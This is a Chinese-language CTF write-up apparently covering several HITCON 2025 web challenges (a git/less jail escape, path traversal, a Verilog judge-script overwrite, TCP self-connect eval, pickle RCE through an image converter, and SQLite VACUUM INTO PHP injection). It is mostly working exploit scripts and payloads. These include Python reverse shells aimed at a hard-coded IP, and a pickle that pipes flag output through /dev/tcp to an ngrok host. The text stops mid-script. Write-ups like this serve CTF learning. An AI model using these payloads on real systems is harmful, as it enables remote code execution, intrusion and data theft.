git-playground

一个基于 C++ 编写的受限 Shell 环境。可以在一个被 chroot 隔离的 /work 目录中执行一小部分被白名单化的 Linux 命令。黑名单机制禁止了 sh, env 等命令的直接执行。需要绕过这些限制,读取存放在环境变量中的 FLAG

jail.cpp 通过一系列机制来限制用户行为:

  • 路径限制chdir("/work")check_path_under_work() 函数确保了所有文件操作都无法逃逸出 /work 目录。
  • 命令黑名单blacklist() 函数通过简单的字符串匹配,禁止用户输入任何包含 sh, env, hook 的命令。
  • 命令白名单与参数校验check() 函数定义了允许执行的命令及其参数格式。只有完全符合白名单规则的命令才会被 execvp 执行。

攻击思路:

  1. git log, git diff 等命令在输出内容很长时,会调用一个外部的分页器程序(通常是 less)来方便用户浏览。
  2. less 程序本身是一个功能强大的交互式应用。在 less 的界面中,用户可以输入 ! 紧跟一个命令,less 会执行这个命令并显示其输出。
  3. jail.cpp 程序的黑名单只检查我们提交给它的第一层命令(如 git log)。一旦 git log 启动了 less,我们在 less 内部输入的任何命令都不会经过程序的黑名单检查。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
touch file1.txt
git add file1.txt
git commit -m "First commit"

touch file2.txt
git add file2.txt
git commit -m "Second commit"

touch file3.txt
git add file3.txt
git commit -m "Third commit"

git log

!echo $FLAG

hitcon{Bu5yb0X_34511y_cR4sH_Wh3N_bu117_w17h_C14Ng?}

simple-drive

有个simple-drive-revenge,那么这题应该是有非预期的

diff一下发现了一个关键函数有被修改过

1
2
3
4
5
6
7
8
9
simple-drive/src/fs.py

def path(self, path):
return os.path.join(self.rootdir.name, os.path.normpath(os.path.join('/', path))[1:])

simple-drive-revenge/src/fs.py

def path(self, path):
return os.path.join(self.rootdir.name, os.path.normpath(os.path.join('/', path)).lstrip('/'))

原本的path函数相当于只去除了开头的一个/,而修改后的则是去除了所有/,这就导致再simple-drive中可以利用os.path.join的特性直接读取/flag

1
2
3
4
5
6
os.path.join,它忽略了绝对路径之前的所有内容:

>>> os.path.join('/tmp/abc', 'test.txt')
'/tmp/abc/test.txt'
>>> os.path.join('/tmp/abc', '/test.txt')
'/test.txt'

因此传/read?path=//flag直接就能读到flag

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'http://simple-drive.chal.hitconctf.com:54528'

USERNAME = 'pwn'
PASSWORD = 'pwn'

s = requests.Session()

def exploit():
r = s.post(url + '/register', data={'username': USERNAME, 'password': PASSWORD})
print(r.status_code, r.text)
r = s.post(url + '/login', data={'username': USERNAME, 'password': PASSWORD})
print(r.status_code, r.text, r.headers)
r = s.get(url + '/read?path=//flag')
print(r.status_code, r.text)

if __name__ == '__main__':
exploit()

flaghitcon{S7r4Ng3_z1P_f0rM4t_w17H_p0Or_S1gn47uR3_1sn7_17}

Verilog OJ

题目给出的附件本身应该没有太多值得关注的点

实现了一个verilog语言的OJ,给出的例题可以通过提交例如下面这样的代码来AC

1
2
3
4
5
6
7
8
9
10
module Crossbar_2x2_4bit (
input [3:0] in1, in2,
input control,
output [3:0] out1, out2
);

assign out1 = (control) ? in1 : in2;
assign out2 = (control) ? in2 : in1;

endmodule

重点是要想办法执行系统命令来获取/flag的内容

起初尝试了使用 $system

1
2
3
initial begin
$system("/readflag give me the flag > /app/app/presentation/public/flag.txt");
end

失败,看到其它师傅博客里有本地调试过,会有如下报错

1
module.v:12: Error: System task/function $system() is not defined by any module.

这是因为Icarus Verilog 默认禁用了 $system 函数,无法直接执行系统命令。

之后尝试通过 $fopen 覆盖 Slim 模板文件:

1
2
3
4
5
6
7
8
integer fd;
initial begin
fd = $fopen("/app/app/presentation/views/submissions.slim", "w");
if (fd) begin
$fdisplay(fd, "= %x{/readflag give me the flag}");
$fclose(fd);
end
end

这种方法部分时候会成功但不稳定,这是因为生产环境可能缓存模板,且需要额外的页面访问触发。

最后想到可以直接覆盖judge.sh,把想要执行的命令写进去
可以通过 $fopen 或者 $fwrite 覆盖 /app/scripts/judge.sh

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
module Crossbar_2x2_4bit(
input [3:0] in1,
input [3:0] in2,
input control,
output reg [3:0] out1,
output reg [3:0] out2
);

integer judge_script;

initial begin
judge_script = $fopen("/app/scripts/judge.sh", "w");
if (judge_script) begin
$fwrite(judge_script, "#!/bin/sh\n\n");
$fwrite(judge_script, "set -e\n\n");
$fwrite(judge_script, "cd / && ./readflag give me the flag > /app/app/presentation/public/flag.txt 2>&1\n\n");
$fwrite(judge_script, "cd \"$1\"\n");
$fwrite(judge_script, "iverilog module.v testbench.v -o judge\n");
$fwrite(judge_script, "vvp judge\n");
$fclose(judge_script);
end

end

always @(*) begin
case (control)
1'b0: begin
out1 = in2;
out2 = in1;
end
1'b1: begin
out1 = in1;
out2 = in2;
end
endcase
end

endmodule

之后再随便提交一次,等待judge.sh重新触发,写入flag.txt,最后由于/app/app/presentation/public下的文件可以直接访问,所以直接访问flag.txt即可
alt text

$fopen 的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
integer fd;
initial begin
fd = $fopen("/app/scripts/judge.sh", "w");
if (fd) begin
$fdisplay(fd, "#!/bin/sh");
$fdisplay(fd, "set -e");
$fdisplay(fd, "/readflag give me the flag > /app/app/presentation/public/flag.txt");
$fdisplay(fd, "cd \"$1\"");
$fdisplay(fd, "iverilog module.v testbench.v -o judge");
$fdisplay(fd, "vvp judge");
$fclose(fd);
end
end

又看到一个师傅覆盖slim模板的做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
module Crossbar_2x2_4bit(
input [3:0] in1, in2,
input control,
output [3:0] out1, out2
);
assign out1 = control ? in1 : in2;
assign out2 = control ? in2 : in1;

integer fd;
initial begin
fd = $fopen("/app/app/presentation/public/marker.txt", "w");
$fdisplay(fd, "marker ok");
$fclose(fd);

fd = $fopen("/app/app/presentation/views/submission.slim", "w");
$fdisplay(fd, "h1 PWN submission");
$fdisplay(fd, "pre");
$fdisplay(fd, " = `/readflag give me the flag`");
$fclose(fd);

fd = $fopen("/app/app/presentation/views/problems.slim", "w");
$fdisplay(fd, "h1 PWN problems");
$fdisplay(fd, "pre");
$fdisplay(fd, " = `/readflag give me the flag`");
$fclose(fd);

fd = $fopen("/app/app/presentation/views/problem.slim", "w");
$fdisplay(fd, "h1 PWN problem");
$fdisplay(fd, "pre");
$fdisplay(fd, " = `/readflag give me the flag`");
$fclose(fd);

fd = $fopen("/app/app/presentation/views/submissions.slim", "w");
$fdisplay(fd, "h1 PWN submissions");
$fdisplay(fd, "pre");
$fdisplay(fd, " = `/readflag give me the flag`");
$fclose(fd);

$display("Passed");
$finish;
end
endmodule

No Man’s Echo

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$probe = (int)@$_GET['probe'];
$range = range($probe, $probe + 42);
shuffle($range);

foreach ($range as $k => $port) {
$target = sprintf("tcp://%s:%d", $_SERVER['SERVER_ADDR'], $port);
$fp = @stream_socket_client($target, $errno, $errstr, 1); //使用stream_socket_client()尝试连接到该端口
if (!$fp) continue;

stream_set_timeout($fp, 1);
fwrite($fp, file_get_contents("php://input")); //如果连接成功,使用fwrite()将当前请求的原始POST数据发送到该连接
$data = fgets($fp); //从连接中读取一行数据
if (strlen($data) > 0) {
$data = json_decode($data);
if (isset($data->signal) && $data->signal == 'Arrival')
eval($data->logogram);

fclose($fp);
exit(-1);
}
}
highlight_file(__FILE__);

离谱,竟然burp直接爆破probe就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /?probe=$40446$ HTTP/1.1
Host: no-mans-echo.chal.hitconctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

{"signal":"Arrival","logogram":"system('cat /flag');"}

HTTP/1.1 200 OK
Date: Sun, 24 Aug 2025 14:28:17 GMT
Server: Apache/2.4.62 (Debian)
Vary: Accept-Encoding
Content-Length: 124
Connection: close
Content-Type: text/html; charset=UTF-8

hitcon{it's a beautiful day outside. birds are singing, flowers are blooming... kids like you... should be burning in h3ll}

查资料看到了TCP自连接这个概念,恍然大悟,先补充一下这个知识

新建一个脚本 self_connect.sh,内容如下:

1
2
3
4
while true
do
telnet 127.0.0.1 50000
done

执行这段脚本之前先用 netstat 等命令确认 50000 没有进程监听。然后执行脚本,经过一段时间,telnet 居然成功了。

1
2
3
4
5
6
7
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

使用 netstat 查看当前的 50000 端口的连接状况,如下所示。

1
2
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp 0 0 127.0.0.1:50000 127.0.0.1:50000 ESTABLISHED 24786/telnet

可以看到源 IP、源端口是 127.0.0.1:50000,目标 IP、目标端口也是 127.0.0.1:50000,通过上面的脚本,我们连上了本来没有监听的端口号。

这是因为当一方主动发起连接时,操作系统会自动分配一个临时端口号给连接主动发起方。如果刚好分配的临时端口是 50000 端口,就会出现上面的情形,过程如下。
alt text
前四个包的交互过程就是 TCP 同时打开的过程。
第一个包是发送 SYN 包给 50000 端口
对于发送方而言,它收到了这个 SYN 包,以为对方是想同时打开,会回复 SYN+ACK
回复 SYN+ACK 以后,它自己就会收到这个 SYN+ACK,以为是对方回的,对它而言已握手成功,进入 ESTABLISHED 状态。

因此,我们爆破probe的过程实际上就是在找这个临时端口

可以通过这行命令来观察TCP自连接的过程

1
2
3
4
5
6
7
8
9
10
while true; do echo 123 | nc 127.0.0.1 50000; done

...
(UNKNOWN) [127.0.0.1] 50000 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 50000 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 50000 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 50000 (?) : Connection refused
(UNKNOWN) [127.0.0.1] 50000 (?) : Connection refused
123

因此当我们向这个临时端口发送{"signal":"Arrival","logogram":"system('cat /flag');"}时,fgets应该就会从连接中读取到这行数据,从而进入到eval中

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import httpx

targ = "http://no-mans-echo.chal.hitconctf.com/"

c = httpx.Client(base_url=targ)

COMMAND_TO_RUN = "readfile('/flag');"
payload = f'{{"signal": "Arrival", "logogram": "{COMMAND_TO_RUN}"}}'

for i in range(40_000, 50_000):
print(i)
r = c.post(f"/?probe={i}", content=payload.encode())
if "hitcon" in r.text:
print(r.text)

IMGC0NV

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from flask import Flask, request, send_file, g

import os
import io
import zipfile
import tempfile
from multiprocessing import Pool
from PIL import Image

def convert_image(args):
file_data, filename, output_format, temp_dir = args
try:
with Image.open(io.BytesIO(file_data)) as img:
if img.mode != "RGB":
img = img.convert('RGB')

filename = safe_filename(filename)
print(f"filename: {filename}")
orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None

ext = output_format.lower()
if orig_ext:
out_name = filename.replace(orig_ext, ext, 1)
else:
out_name = f"{filename}.{ext}"
output_path = os.path.join(temp_dir, out_name)
with open(output_path, 'wb') as f:
print(f"content: {f}")
img.save(f, format=output_format)

return output_path, out_name, None
except Exception as e:
return None, filename, str(e)

def safe_filename(filename):
filneame = filename.replace("/", "_").replace("..", "_")
return filename

app = Flask(__name__)

app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # 5 MB

@app.before_request
def before_request():
g.pool = Pool(processes=8)

@app.route('/')
def index():
return send_file('index.html')

@app.route('/convert', methods=['POST'])
def convert_images():
if 'files' not in request.files:
return 'No files', 400

files = request.files.getlist('files')
output_format = request.form.get('format', '').upper()

if not files or not output_format:
return 'Invalid input', 400

with tempfile.TemporaryDirectory() as temp_dir:
file_data = []
for file in files:
if file.filename:
file_data.append(
(file.read(), file.filename, output_format, temp_dir)
)

if not file_data:
return 'No valid images', 400

results = list(g.pool.map(convert_image, file_data))

successful = []
failed = []

for path, name, error in results:
if not error:
successful.append((path, name))
else:
failed.append((name or 'unknown', error))

if not successful:
error_msg = "All conversions failed. " + \
"; ".join([f"{f}: {e}" for f, e in failed])
return error_msg, 500

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
for path, name in successful:
zf.write(path, name)

if failed:
summary = f"Conversion Summary:\nSuccessful: {len(successful)}\nFailed: {len(failed)}\n\nFailures:\n"
summary += "\n".join([f"- {f}: {e}" for f, e in failed])
zf.writestr("errors.txt", summary)

zip_buffer.seek(0)

return send_file(zip_buffer,
mimetype='application/zip',
as_attachment=True,
download_name=f'converted_{output_format.lower()}.zip')

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)

文件名可控、文件内容有格式限制的任意文件写漏洞。

文件是通过

1
2
with open(output_path, 'wb') as f:
img.save(f, format=output_format)

写入的,因此表单中提交的后缀名只能是img.save允许的,并且文件的内容需要是合法图片

学习了一下discord老哥们的做法,用GPT整理了思路

攻击为何能成立(高层视图)

  1. 进程池用 Pickle 做 IPC

    g.pool.map(convert_image, file_data) 会把 (file_bytes, filename, fmt, temp_dir) 这个参数包序列化后,通过 Queue/管道 发给子进程;子进程取到后再 pickle.loads(...) 还原为 Python 对象去调用 convert_image。同理,子进程把返回值再 picke 化发回父进程。
    也就是说,父进程→子进程(任务)和子进程→父进程(结果)两条通道,都会调用 _ForkingPickler.loads(...) 来还原对象。

  2. 你能往这些通道写任意字节

    应用里的”保存输出图像文件”的路径完全被攻击者控制(safe_filename 返回原值,且用了 os.path.join(temp_dir, out_name),当 out_name 以 / 开头就变成了绝对路径,.. 也不会被清理)。
    于是攻击者把输出路径伪造成 /proc/self/fd/<N>,从而让 img.save(..., f) 实际上往当前子进程的某个文件描述符 <N> 直接写字节。只要 <N> 正好是进程池 IPC 用到的管道端点(比如子进程用于”给父进程回包”的那端),你写进去的就会被另一端当作一条”消息”去 pickle.loads(...)

  3. 一旦另一端 loads,就跑进你的 RCE payload

    Pickle 是可执行反序列化:你脚本里的 payload 形如 cbuiltins\nexec\n(V...tR,被 loads 后会直接 exec(…),建立反弹 shell。

exp1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from PIL import Image, ImageDraw

CONV_URL = 'http://127.0.0.1:5000/convert'

width, height = 65535, 159
img = Image.new('RGB', (width, height), 'black')

draw = ImageDraw.Draw(img)

draw.rectangle([(65504, 3), (65505, 3)], fill='#0000FF') # size=0xFFFF (0xFF x 2px)
payload = b'cbuiltins\nexec\n(Vimport socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("vps",port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);\ntR....'
for i, c in enumerate(payload):
draw.rectangle([
((65506 + i) % width, 3 - (65506 + i) // width),
((65506 + i) % width, 3 - (65506 + i) // width)
], fill='#FFFF%02X' % (c))

img.save('pixel.png', 'PNG')

import requests

with open('pixel.png', 'rb') as f:
fd = 10
path = f'/proc/self/fd/{fd}'
files = {
'files': (f'/usr/local/lib/python3.13/w{path}ref/../../../../../../../../../../.{path}', f)
}
response = requests.post(CONV_URL, files=files, data={'format': 'SGI'})
print(response.status_code)
print(response.text)

另外这里文件名的构造也比较讲究,比如上面这个脚本,选定了将图片替换为sgi格式,我们可以看看这个文件名是怎么变化的
raw: /usr/local/lib/python3.13/w/proc/self/fd/10ref/../../../../../../../../../.././proc/self/fd/10
由于safe_filename里面有拼写错误,所以没有过滤效果
然后提取出后缀,这里是/proc/self/fd/10
之后经过out_name = filename.replace(orig_ext, ext, 1)
将/proc/self/fd/10第一次出现的位置替换为sgi
after: /usr/local/lib/python3.13/wsgiref/../../../../../../../../../.././proc/self/fd/10
最终相当于/proc/self/fd/10
这里比较关键的一点是要找到一个存在的路径里面包含sgi,比如这里的/usr/local/lib/python3.13/wsgiref

顺手记录其它师傅的脚本,主要看怎么把pickle插到图片里的

exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import pickle
from PIL import Image

obj = "test"

class Meow(object):
def __reduce__(self):
return (exec, ('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.120.14.151",9090));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")',))

payload = pickle.dumps(Meow(), protocol=pickle.HIGHEST_PROTOCOL)


W, H = 8771, 5903

tail = payload

im = Image.new("RGB", (W, H), (0, 0, 0))

row = []
pad_len = (-len(tail)) % 3
data = tail + b"\x00" * pad_len
for i in range(0, len(data), 3):
B, G, R = data[i], data[i+1], data[i+2]
row.append((R, G, B))

pixels = im.load()
for x, (r, g, b) in enumerate(row):
pixels[x, H - 1] = (r, g, b)

im.save("pickle.bmp", format="BMP")
im.save("pickle.png", format="PNG")

import requests

URL = "http://127.0.0.1:5000"

def bmp_payload(filename: str):
return f"../../usr/share/doc/li{filename.rsplit('.', 1)[1] if '.' in filename else filename}fr6/../../../../../..{filename}"

p = '/proc/self/fd/13'
print(bmp_payload(p))
r = requests.post(URL + "/convert", files=[
("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
], data={
"format": "BMP"
})
print(r.status_code)
print(r.content[:200])

exp3.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
'''
Bypass convert_image to write a crafted BMP file to an arbitrary path
upload a lot of random images + one image to write into python's multiprocessing /proc/self/fd/10 fd to reach _ForkingPickler.loads sink and load arbitrary pickle to achieve RCE
craft a pickle-bmp polyglot to bypass PIL image formats checks
/gamble until you get the right timing
'''

#!/usr/bin/env python3
import requests
import io
from PIL import Image

CHALL_URL = "http://localhost:5000"

def build_target_arbw_path(target_file: str, ext_replace_path: str, target_ext: str) -> str:
#print(f"{target_file=}, {ext_replace_path=}, {target_ext=}")
prefix = "/tmp/../.."
ext_replace_path = ext_replace_path.replace(target_ext, target_file)
levels = ext_replace_path.count("/")
final_path = prefix + ext_replace_path + ("/.." * levels) + target_file
#print(f"[*] Target path: {final_path}")
return final_path

def build_normal_image() -> bytes:
bio = io.BytesIO()
Image.new("RGB", (1, 1), (0, 0, 255)).save(bio, format="PNG")
return io.BytesIO(bio.getvalue()).getvalue()

def build_files_payload():
with open("pickle.bmp", "rb") as f:
pickle_buf = io.BytesIO(f.read())
pickle_buf.seek(0)
pickle_polyglot = pickle_buf.getvalue()

normal_image = build_normal_image()
ext_replace_path = "/usr/lib/mime"
target_ext = "im"
target_fd = 10
files = []

# sandwich the pickle payload with lots of normal image to hit the right timing
for n in range(450):
files.append(("files", (f"fent_{n}", normal_image, "image/png")))

for _ in range(1, 65):
target_filename = build_target_arbw_path(f"/proc/self/fd/{target_fd}", ext_replace_path, target_ext)
#target_filename = f"/tmp/../../usr/lib/m/proc/self/fd/{target_fd}e//../../../../../proc/self/fd/{target_fd}"
files.append( ("files", (target_filename, pickle_polyglot, "image/bmp")) )

for n in range(450):
files.append(("files", (f"fent_{n+9999}", normal_image, "image/png")))

return files

def rce():
target_ext = "im"
files = build_files_payload()
data = {"format": target_ext}

print(f"Sending {len(files)} files to {CHALL_URL}/convert ...")
r = requests.post(f"{CHALL_URL}/convert", files=files, data=data)
print("POST /convert =>", r.status_code)
#print(r.text)

if __name__ == "__main__":
rce()

# supported extensions
'''
blp bmp dib bufr cur pcx dcx dds ps eps
fit fits fli flc fpx ftc ftu gbr gif grib
h5 hdf png apng jp2 j2k jpc jpf jpx j2c
icns ico im iim jfif jpe jpg jpeg tif tiff
mic mpg mpeg mpo msp palm pcd pdf pxr pbm
pgm ppm pnm pfm psd qoi bw rgb rgba sgi
ras tga icb vda vst webp wmf emf xbm xpm
'''

makebmp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
# File layout: [ 4-byte little-endian len(pickle_payload) ] + [ pickle_payload ]
# Also a valid BMP: first two bytes are 'B','M' by choosing len % 65536 == 0x4D42.

import struct
from pathlib import Path
import pickle

def make_min_bmp(width=1, height=1, bgr=(0, 255, 0)):
# Minimal 24-bit BMP (54-byte header + pixel data)
bfType = b'BM'
bfReserved1 = bfReserved2 = 0
bfOffBits = 14 + 40
row_bytes = ((width * 3 + 3) // 4) * 4
pixel_data = (bytes((bgr[0], bgr[1], bgr[2])) +
b'\x00' * (row_bytes - width * 3)) * height
bfSize = bfOffBits + len(pixel_data)

file_header = struct.pack('<2sIHHI', bfType, bfSize, bfReserved1, bfReserved2, bfOffBits)
info_header = struct.pack('<IIIHHIIIIII',
40, width, height, 1, 24, 0,
len(pixel_data), 0x0B13, 0x0B13, 0, 0)
return file_header + info_header + pixel_data

def build_lenprefixed_poly_bmp(width=1, height=1, bgr=(0, 255, 0)):
"""
Returns bytes: prefix(4) + pickle_payload
- prefix = len(pickle_payload) (little-endian), whose low 2 bytes are 'B','M'
- pickle side effect: prints "hello world!" when unpickled
- BMP interpretation works because:
offset 0..1: 'BM' (from length value)
offset 10..13 (bfOffBits) fall inside BINBYTES data, which we set to 54
"""
bmp = make_min_bmp(width, height, bgr)

# BINBYTES data "D":
# D[0] = 0x00 (helps make reserved2==0 at offset 9)
# D[1:] = bmp[10:] (bfOffBits + info header + pixel data)
D = b'\x00' + bmp[10:]
# keep 4th byte of BINBYTES length zero to aid reserved2==0
if len(D) >= (1 << 24):
raise ValueError("D too large; keep image tiny so BINBYTES length's MSB is 0.")

def make_pickle(extra_pairs=0, D=D):
P = bytearray()
# --- BMP-critical prefix region (do not move these) ---
P += b'B' # BINBYTES
P += struct.pack('<I', len(D)) # length of D
P += D # data (contains bfOffBits etc.)
# ------------------------------------------------------

# neutral padding: 'N' (NONE) then '0' (POP), adds 2 bytes per pair
if extra_pairs:
P += (b'N0' * extra_pairs)

# Now perform the side effect: print("hello world!")
# Stack: [bytes] -> POP -> []
P += b'0' # POP the BINBYTES blob (keep stack tidy)

P += b"cos\nsystem\n(Vbash -c \"/readflag '--give-me-the-f|ag' > /dev/tcp/6.tcp.eu.ngrok.io/14402\" \ntR."

return bytes(P)

TARGET_LOW16 = 0x4D42 # 'M''B' in little-endian low word -> file starts with 'BM'
P0 = make_pickle(0, D)
need16 = (TARGET_LOW16 - (len(P0) & 0xFFFF)) & 0xFFFF

# parity fix: allow adding one trailing 0x00 into D (harmless), then recompute
if need16 & 1:
D = D + b'\x00'
P0 = make_pickle(0, D)
need16 = (TARGET_LOW16 - (len(P0) & 0xFFFF)) & 0xFFFF

extra_pairs = need16 // 2
P = make_pickle(extra_pairs, D)

prefix = struct.pack('<I', len(P))
assert prefix[:2] == b'BM', "First two bytes must be 'BM' for BMP magic"
# File is exactly: [len(P)] + [P]
return prefix + P

def main():
out = Path('pickle.bmp')
data = build_lenprefixed_poly_bmp()
out.write_bytes(data)

# sanity checks
raw = out.read_bytes()
pick_len = int.from_bytes(raw[:4], 'little')
assert pick_len == len(raw) - 4
assert raw[:2] == b'BM'
print(f'[+] Wrote {out} ({len(raw)} bytes)')
print(f' prefix len={pick_len} bytes; structure = [4-byte len] + [pickle_payload]')

print('[+] unpickle test...')
pickle.loads(raw[4:])

if __name__ == '__main__':
main()

Pholyglot!

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox) or die("err?");

$msg = @$_GET['msg'];
if (isset($msg) && strlen($msg) <= 30) {
usleep(random_int(133, 3337));

$db = new SQLite3(".db");
$db->exec(sprintf("
CREATE TABLE msg (content TEXT);
INSERT INTO msg VALUES('%s');
", $msg));
$db->close();

unlink(".db");
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
} else {
highlight_file(__FILE__);
}

SQLite3::exec() 可以一次执行多条 SQL,用分号分隔。并且把 INSERT INTO msg VALUES('%s') 里的 %s 直接拼接了用户输入,等于给了我们闭合字符串 + 追加任意 SQL的能力。

数据库文件名固定为当前目录下的 .db,操作结束后 unlink(".db") 只是把原始 DB 删了;SQLite 的 VACUUM INTO 'path' 能把当前数据库拷贝到任意路径/文件名(相对当前工作目录),相当于任意写文件。我们可以在执行期间把它复制到想要的名字(VACUUM INTO '目标文件'),于是留下任意文件。

另外长度限制 strlen($msg) <= 30,所以 payload 都要控制在 30 字节以内

接下来先上exp,然后逐步分析

exp1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import hashlib

HOST = "http://localhost:8080/"

# EXTERNAL_IP = "..."
# SANDBOX_HASH = hashlib.md5(b"orange" + EXTERNAL_IP.encode()).hexdigest()
SANDBOX_HASH = "9a2da4359c2e191fa6f2a122918617d6"

def reset():
x = requests.get(HOST, params={"reset": 1})
x.raise_for_status()
return x.text

def execute_msg(msg):
print("msg of length", len(msg))
x = requests.get(HOST, params={"msg": msg})
x.raise_for_status()
return x.text

reset()
execute_msg("""<?=`*`;');VACUUM INTO('z.php""")
execute_msg("""');VACUUM INTO('php""")
execute_msg("""<?=`wc|/r*`;');VACUUM INTO('x""")

# do this a few times until flag
res = requests.get(f"{HOST}sandbox/{SANDBOX_HASH}/z.php")
res.raise_for_status()
print(res.content)

第一步
execute_msg("""<?=`*`;');VACUUM INTO('z.php""")
注入后的 SQL 变成:

1
2
3
CREATE TABLE msg (content TEXT);
INSERT INTO msg VALUES('<?=`*`;'); -- 先把一段 PHP 代码塞进数据库页
VACUUM INTO('z.php'); -- 再把整个数据库拷贝到 z.php

第二步
execute_msg("""');VACUUM INTO('php""")
注入后的 SQL 变成:

1
2
3
CREATE TABLE msg (content TEXT);
INSERT INTO msg VALUES('');
VACUUM INTO('php'); -- 在同目录生成一个名为 "php" 的文件

第三步
execute_msg("""<?=`wc|/r*`;');VACUUM INTO('x""")
注入后的 SQL 变成:

1
2
3
CREATE TABLE msg (content TEXT);
INSERT INTO msg VALUES('<?=`wc|/r*`;');
VACUUM INTO('x'); -- 写到文件 "x"

之后我们访问 z.php 时,里面的<?=`*`;会启动一个 shell, 在当前目录展开所有文件名,此时应为php x z.php

在类 Unix shell 中,这会把第一个单词当作命令,于是等价于执行:php x z.php,其实也就是把x当作一个php文件去执行了,因此x中的<?=`wc|/r*`;就被成功执行

这个点还真是第一次见,在vps上实验了一下,发现还真是

1
2
3
4
root@iZf8ze93nwj9zenhhgk508Z:/var/www/html# ls
frpc frpc1.toml frps fscan index.php powercat.ps1 test.dtd z.php
root@iZf8ze93nwj9zenhhgk508Z:/var/www/html# php z.php
sh: 1: frpc: not found

不过由于执行完/read_flag还需要交互,所以还是得写个马上去,然后反弹shell才行

exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from urllib.parse import quote
from urllib.request import urlopen

def get(url):
with urlopen(url) as r:
r.read() # we don't need the body; just trigger the request

def send_msg(base, payload):
# URL-encode only the msg value
q = quote(payload, safe="")
url = f"{base}/?msg={q}"
get(url)
print(f"[+] GET {url}")

def fetch(base, path):
url = f"{base}{path}"
get(url)
print(f"[+] GET {url}")

def main():
base = "http://127.0.0.1:8080"

# 1) Initial three requests (remove <@urlencode> tag; encode the inside)
send_msg(base, "<?=`*`;');VACUUM INTO'..php';")
